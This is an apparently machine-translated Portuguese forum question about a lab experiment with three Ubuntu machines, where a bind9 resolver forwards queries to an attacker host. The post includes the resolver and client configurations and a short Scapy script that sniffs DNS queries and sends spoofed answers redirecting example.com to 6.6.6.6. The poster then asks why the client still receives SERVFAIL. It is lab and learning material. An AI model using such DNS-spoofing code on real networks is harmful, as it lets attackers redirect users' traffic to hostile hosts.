Como parte de um experimento, estou executando três máquinas Ubuntu no ambiente Criar .
Chame-os de cliente, servidor e atacante.
Cliente conectado ao servidor. (10.1.1.2 e 10.1.1.3, respectivamente)
Servidor conectado ao invasor. (10.1.2.3 e 10.1.2.2, respectivamente)
O servidor executa um servidor bind9 e destina-se a simular um resolvedor recursivo que encaminha qualquer consulta ao invasor, que opera como MITM.
No servidor, eu editei named.conf.options :
options {
directory "/var/cache/bind";
dump-file "/var/cache/bind/dump.db";
recursion yes;
allow-recursion { any; };
allow-query { any; };
allow-query-cache { any; };
forwarders { 10.1.2.2; };
forward only;
dnssec-validation no;
auth-nxdomain no;
listen-on-v6 { any; };
}
No cliente, eu editei resolv.conf :
nameserver 10.1.1.3
nameserver 192.168.252.1
search create.iucc.ac.il
O segundo ns é o ambiente Create ns, não está conectado à internet e apenas responde a consulta por "create.iucc.ac.il".
No atacante, estou executando o seguinte script scapy:
from scapy.all import *
def callback(pkt):
if (DNS in pkt and pkt[DNS].opcode == 0 and pkt[DNS].ancount == 0):
if 'example.com' in str(pkt['DNS Question Record'].qname):
spfResp = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
DNS(id=pkt[DNS].id, qr=1, aa=1,\
qd=pkt[DNS].qd,an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=1600, rdata="6.6.6.6"))
send(spfResp, verbose=1)
return 'Spoofed DNS Response Sent'
sniff(filter="dst port 53", prn=callback)
Que deve retornar respostas para consultas sobre "example.com".
No entanto, quando eu uso
dig example.com
No cliente, recebo o SERVFAIL de 10.1.1.3. O script scapy envia a resposta ao servidor.
A única vez que o cliente recebe uma resposta (mesmo que o script pretendido) é quando eu spam o comando "dig example.com".
Por que não está funcionando? As minhas configurações estão corretas?